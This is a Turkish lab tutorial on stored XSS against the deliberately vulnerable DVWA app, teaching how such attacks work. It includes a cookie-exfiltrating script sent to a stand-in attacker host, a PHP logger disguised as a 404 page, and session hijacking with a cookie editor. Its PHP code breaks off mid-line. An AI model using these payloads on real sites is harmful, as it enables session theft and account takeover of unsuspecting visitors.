Ders 22 - Stored XSS (Low Level) | |||||
Bu yazıda DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak XSS yoluyla saldırıda bulunulacaktır.
Dersin HedefiDVWA adlı web uygulamasındaki kullanıcının oturumunu senaryo gereği çalın.UyarıBu yazı Reflected XSS (Low Level) yazısının devamı niteliğinde olduğundan dolayı orada bahsedilen detaylara burada girilmeyecektir. Bu nedenle kopukluk yaşamamak için önce Reflected XSS (Low Level)'ı daha sonra bu yazıyı okumanız önerilir.Stored XSS Nedir?Açılımı Cross-Site Scripting olan XSS saldırıları Reflected XSS, Stored XSS ve DOM XSS olmak üzere üçe ayrılmaktadır. Reflected XSS saldırısı bir web uygulamasının veri giriş noktalarında eğer denetleme/filtreleme/bloklama mekanizmaları yoksa ve saldırganın bu veri giriş noktasına girdiği script kodları (örn; javascript, visual basic script) sayfaya çıktı olarak "yansıtılıyorsa" saldırganların bu yolla kendi değerlerini sayfaya yansıttırması işlemine denir. Reflected kelimesi Türkçede "yansıtılmış" anlamına gelmektedir. Stored XSS saldırısı, bir web uygulamasının veri giriş noktalarında eğer denetleme/filtreleme/bloklama mekanizması yine yoksa ve saldırganın bu veri giriş noktasına girdiği script kodları (örn; javascript, visual basic script) veritabanına kaydolarak sayafaya çıktı olarak yansıtılıyorsa saldırganların bu yolla keni değerlerini veritabanına kaydedip sayfaya yansıttırması işlemine denir. DOM XSS'e gelince bu saldırı ise saldırganın (içerisine script kodları ekleyerek) özenle hazırladığı bir url'i internette bir yolla paylaşması sonrası linke gidildiğinde kodların sunucuya hiç gitmeden (istemci) tarayıcıda dönüp ekrana yansıtılmasına denir.Özetle; Reflected XSS, saldırganın girdiği kodların sunucuya gidip sunucuda barınmadan (istemcilere) geri döndüğü saldırılara denir. Stored XSS, saldırganın girdiği kodların sunucuya gidip sunucuda bir depolama formatında saklandığı (örn; veritabanı) ve bu depolamadan (istemcilere) geri döndüğü saldırılara denir. DOM XSS, saldırganın girdiği kodların sunucuya gitmeden istemci tarayıcısından istemci tarayıcısına döndüğü saldırılara denir. NOT: Bu yazıda Reflected XSS saldırısı düzenlenmeyecektir. Çünkü Reflected XSS saldırısı önceki yazıda gerçekleştirilmiştir. Stored XSS Nasıl Yapılır?Öncelikle DVWA'nın Stored XSS için sunduğu ekranı inceleyelim.![]() Görüldüğü üzere iki tane veri girişi yapılabilecek kutu vardır. Bu kutulara verip girilip Sign Guestbook butonuna basıldığı takdirde girilen veriler veritabanına kaydolacaktır ve akabinde veritabanından kayıtlı veriler çekilerek ekranın altına yansıtılacaktır. Şimdi bu sayfanın XSS zafiyetine sahip mi değil mi olduğunu tespit edelim. Aşağıdaki kodu DVWA'nın sunduğu ekrandaki metin kutusuna girelim. İlk Metin Kutusu: Deneme İkinci Metin Kutusu: <script>alert('Sayfa XSS Açığına Sahip');</script> ![]() Sign Guestbook butonuna tıklanıldığında aşağıdaki çıktı ekrana yansıyacaktır. ![]() Girdiğimiz javascript kodunun ekranda çalıştığını görmüş olduk. Demek ki hedef sayfa kullanıcıdan gelebilecek javascript komutlarını engellemiyor. Bu durumda hedef sayfa XSS zafiyetine sahiptir denir. XSS açığı var olduğu öğrenildiğine göre saldırganın yapılabileceği en iyi ve en değerli şey çerezleri çalmak olur. Bunun için saldırgan ekrandaki metin kutularına javascript kodu olarak çerezleri çalan bir kod girebilir. Bu kodun yer aldığı sayfayı ziyaret eden her kullanıcı da javascript kodu nedeniyle çerezlerini saldırganın sitesine gönderebilir. Bahsedilen çerez yollama kodunun oluşturulma aşaması ve nihai kod aşağıda verilmiştir: Bir sayfaya yönlendiren Javascript kodu: window.location.href=”saldirganinsitesi.com/index.php”; Bir sayfaya yönlendirirken çerezi de beraberinde yollayan Javascript kodu: window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie; Hazırlanmış Nihai Kod: <script> window.location.href=”saldirganinsitesi.com/index.php?cookie=” + document.cookie;</script> Saldırgan hedef sitenin veritabanına yukarıdaki hazırladığı nihai kodu girdiğinde hedef site kodu veritabanına kaydederse bu kodun sergilendiği sayfayı ziyaret eden herkesin çerezi saldırganın sitesine gidecektir. Saldırgan ise kendi sitesine gelen çerezleri şu şekilde dosyaya kaydedecektir: <html> <head> <title>404 Not Found</title> </head> <body> 404 Not Found <?php $ip = $_SERVER["REMOTE_ADDR"]; // Sayfaya girenin ip’si alınır. $cookie = $_GET["cookie"]; // Hazırlanmış linke tıklayanın çerezi alınır. $dateTime = date('d.m.y \t H:i:s'); // Kurbanın hazırlanmış linke tıkladığı anki zaman alınır. $file = fopen("cerezler.html", "a+"); fwrite($file, "####################################### Saldırgan cerezler.html dosyasına kaydettiği çerezlerden birini kendi tarayıcısına mesela Chrome'un EditThisCookie eklentisiyle dahil ederek kurbanın oturumunu devralacaktır. Yani kurbanın kullanıcı adını ve şifresini bilmeden kurbanın oturumuna giriş yapmış olacaktır. Böylece saldırgan ilgili zafiyete sahip sitede kurban adına dilediği her şeyi yapabilecektir. Şimdi bu anlatılanları pratik olarak deneyelim. Kurbanı temsilen tarayıcı olarak Firefox kullanılacakken saldırganı temsilen tarayıcı olarak Chrome kullanılacaktır. Şimdi ilk olarak saldırgana ait bir site oluşturalım. Bunun için Linux kullanıcıları /var/www/ dizini içinde, Windows kullanıcıları ise C:\xampp\htdocs\ dizini içinde saldirganinSitesi adlı klasör oluştursunlar. Ardından linux kullanıcıları şu shell kodunu terminale girsinler: sudo chmod -R 777 /var/www/saldirganinSitesi Daha sonra saldirganinSitesi klasörünün içerisinde index.php dosyası oluşturulmalıdır ve bu dosyanın içine aşağıdaki kodlar girilerek kaydedilmelidir. <html> <head> <title>404 Not Found</title> </head> <body> 404 Not Found <?php $ip = $_SERVER["REMOTE_ADDR"]; // Sayfaya girenin ip’si alınır. $cookie = $_GET["cookie"]; // Hazırlanmış linke tıklayanın çerezi alınır. $dateTime = date('d.m.y \t H:i:s'); // Kurbanın hazırlanmış linke tıkladığı anki zaman alınır. $file = fopen("cerezler.html", "a+"); fwrite($file, "####################################### Artık saldırgan saldırı yapabilir durumdadır. Saldırgan olarak Chrome'dan DVWA'nın sunduğu metin kutularına aşağıdakileri girin: İlk Metin Kutusu: Hüplet İkinci Metin Kutusu <script> window.location.href="http://localhost/saldirganinSitesi/index.php?cookie=" + document.cookie;</script> Kırmızı kısımda gördüğünüz üzere saldırganın sitesi olarak saldırgan için oluşturduğumuz sitenin adresini koymuş bulunmaktayız. Gerçek saldırılarda bu adres yerine gerçek bir domain adı konulmaktadır. Yukarıdaki kodu textarea'ya girmeye çalıştığınızda hepsinin sığmadığını göreceksiniz. Bu sorunu aşabilmek için textArea'ya sağ tıklayın. Ardından Öğeyi Denetle deyin. Tarayıcınızın alt tarafında bir pencere açılacaktır. ![]() O penceredeki mavi renkle vurgulanmış seçili satırda yer alan maxlength="50" kodundaki 50'ye çift tıklayın. 50 sayısını silip mesela 10000 yapın ve ENTER'layın. Böylece karakter limiti problemini ortadan kaldırmış olursunuz. Yukarıdaki nihai kodu tekrar kopyalın ve textArea'ya sorunsuz bir şekilde yapıştırın. ![]() Yukarıdakiler kutulara girildikten sonra Sign Guestbook butonuna bastığınız takdirde çerez çalma kodunu sayfaya kaydetmiş olursunuz. Artık bu sayfaya bir kurbanın ziyaret etmesini beklemek durumundasınız. Şimdi bir kurban olarak Firefox'tan localhost/dvwa'ya giriş yapın (Kullanıcı adı: admin, Şifre: password). Ardından DVWA Security butonuna tıklayın ve güvenlik seviyesini Impossible'dan Low'a indirin. Sonra XSS (Stored) sayfasını ziyaret edin. Bu kod barındıran sayfayı ziyaret ettiğiniz an saldırganın sayfaya dahil ettiği javascript kodları çalışacaktır ve çerezinizle beraber saldırganın sitesine yönlendirileceksiniz. ![]() Saldırgan kurbanların yönlendireceği sayfaya 404 Not Found yazısını yerleştirmiştir. Böylece kurbanın şüphelenmemesi sağlanabilir. Bu 404 Not Found yazısının olduğu sayfanın arkaplanında yer alan PHP kodları kurbandan gelen çerezi cerezler.html dosyasına kaydetmektedir. Bu işi yapan kodlar saldirganinSitesi klasörü içerisinde oluşturduğunuz index.php'ye dahil ettiğiniz PHP kodlarıdır. Şimdi saldırgan olarak Chrome'da yan sekme açın ve şu adrese gidin: localhost/saldirganinSitesi/cerezler.html ![]() cerezler.html'de kurbandan gelen çerezi görmektesiniz. Chrome'daki DVWA'dan çıkış yapın. Şimdi bu çalınan çerezi saldırgan kendi tarayıcısına dahil edip kullanıcı adı ve şifre bilgilerini bilmeden kurbanın oturumuna giriş yapmak isteyecektir. Bunun için EditThisCookie adlı Chrome eklentisini tarayıcıya kuralım. Aşağıdaki linke gidin: https://chrome.google.com/webstore/category/extensions?hl=tr ![]() Resimde de belirtildiği gibi ilk olarak arama çubuğuna cookie injector yazın. Ardından gelen eklentiler içerisinden EditThisCookie'nin yanındaki Chrome'a Ekle butonuna tıklayın. Ekrana gelecek popup penceresi için de Add Extension butonuna tıklayın. Böylelikle EditThisCookie eklentisini kurmuş olursunuz. Şimdi bir saldırgan olarak Chrome'dan http://localhost/dvwa adresine gidin. Oturum açmadığınız için DVWA'nın login ekranına yönlendirileceksiniz. EditThisCookie eklentisinin simgesine tıklayın. ![]() Açılan pencerede eklenti ilk olarak yakaladığı çerez değişkenlerinden security'yi size sunacaktır. Oraya low kelimesini girin, çünkü kurbanın çerezinde security değişkeni low idi (security=low). ![]() Bu işlemi yaptıktan sonra aynı pencerenin yukarısındaki localhost | PHPSESSID sekmesine tıklayın ve açılan seçeneklerden Value kısmına kurbanın çerezindeki PHPSESSID değerini yapıştırın. ![]() Son olarak pencerenin aşağısındaki yeşil tick işaretine tıklayın. Böylece saldırgan olarak siz kurbanın çerezini kendi saldırganın tarayıcısına enjekte etmiş olursunuz. Böylece saldırganın tarayıcısından, yani Chrome'dan http://localhost/dvwa adresine gittiğiniz takdirde sayfa sizi oturum açmış gibi DVWA'nın anasayfasına yönlendirecektir. Çünkü artık kurbanın oturumunu devralmış bulunmaktasınız. ![]() Artık bir saldırgan olarak kurban adına hedef sitede dilediğinizi yapabilirsiniz. |
|||||
![]() |
|||||
|
|||||
Yorumlar |
|||||
Henüz yorum girilmemiştir. | |||||
Yorum Ekle | |||||